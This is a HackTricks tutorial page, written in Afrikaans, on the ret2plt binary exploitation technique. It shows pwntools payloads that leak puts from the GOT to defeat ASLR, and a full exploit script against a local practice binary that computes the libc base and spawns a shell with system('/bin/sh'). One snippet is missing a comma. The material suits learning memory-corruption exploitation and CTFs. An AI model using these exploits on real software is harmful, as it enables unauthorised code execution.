4 KiB
Ret2plt
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @hacktricks_live.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Basiese Inligting
Die doel van hierdie tegniek sou wees om 'n adres van 'n funksie van die PLT te lek om ASLR te kan omseil. Dit is omdat as jy byvoorbeeld die adres van die funksie puts
van die libc lek, kan jy dan bereken waar die basis van libc
is en afsette bereken om ander funksies soos system
te kan benader.
Dit kan gedoen word met 'n pwntools
lading soos (van hier):
# 32-bit ret2plt
payload = flat(
b'A' * padding,
elf.plt['puts'],
elf.symbols['main'],
elf.got['puts']
)
# 64-bit
payload = flat(
b'A' * padding,
POP_RDI,
elf.got['puts']
elf.plt['puts'],
elf.symbols['main']
)
Merk op hoe puts
(met die adres van die PLT) geroep word met die adres van puts
wat in die GOT (Global Offset Table) geleë is. Dit is omdat teen die tyd dat puts
die GOT-inskrywing van puts druk, sal hierdie inskrywing die presiese adres van puts
in die geheue bevat.
Merk ook op hoe die adres van main
in die aanval gebruik word sodat wanneer puts
sy uitvoering beëindig, die binêre main
weer roep in plaas van om af te sluit (sodat die uitgelekte adres geldig bly).
{% hint style="danger" %} Merk op hoe om hierdie te laat werk, die binêre nie met PIE saamgestel kan word nie of jy moet 'n lek gevind het om PIE te omseil om die adres van die PLT, GOT en main te weet. Anders moet jy eers PIE omseil. {% endhint %}
Jy kan 'n volledige voorbeeld van hierdie omseiling hier vind. Dit was die finale aanval van daardie voorbeeld:
from pwn import *
elf = context.binary = ELF('./vuln-32')
libc = elf.libc
p = process()
p.recvline()
payload = flat(
'A' * 32,
elf.plt['puts'],
elf.sym['main'],
elf.got['puts']
)
p.sendline(payload)
puts_leak = u32(p.recv(4))
p.recvlines(2)
libc.address = puts_leak - libc.sym['puts']
log.success(f'LIBC base: {hex(libc.address)}')
payload = flat(
'A' * 32,
libc.sym['system'],
libc.sym['exit'],
next(libc.search(b'/bin/sh\x00'))
)
p.sendline(payload)
p.interactive()
Ander voorbeelde & Verwysings
- https://guyinatuxedo.github.io/08-bof_dynamic/csawquals17_svc/index.html
- 64-bis, ASLR geaktiveer maar geen PIE, die eerste stap is om 'n oorvloei te vul tot by die byte 0x00 van die kanarie om dan puts te roep en dit te lek. Met die kanarie word 'n ROP-gadget geskep om puts te roep om die adres van puts van die GOT te lek en dan 'n ROP-gadget om
system('/bin/sh')
te roep. - https://guyinatuxedo.github.io/08-bof_dynamic/fb19_overfloat/index.html
- 64-bis, ASLR geaktiveer, geen kanarie, stapeloorvloei in hoof van 'n kindfunksie. ROP-gadget om puts te roep om die adres van puts van die GOT te lek en dan 'n enkele gadget te roep.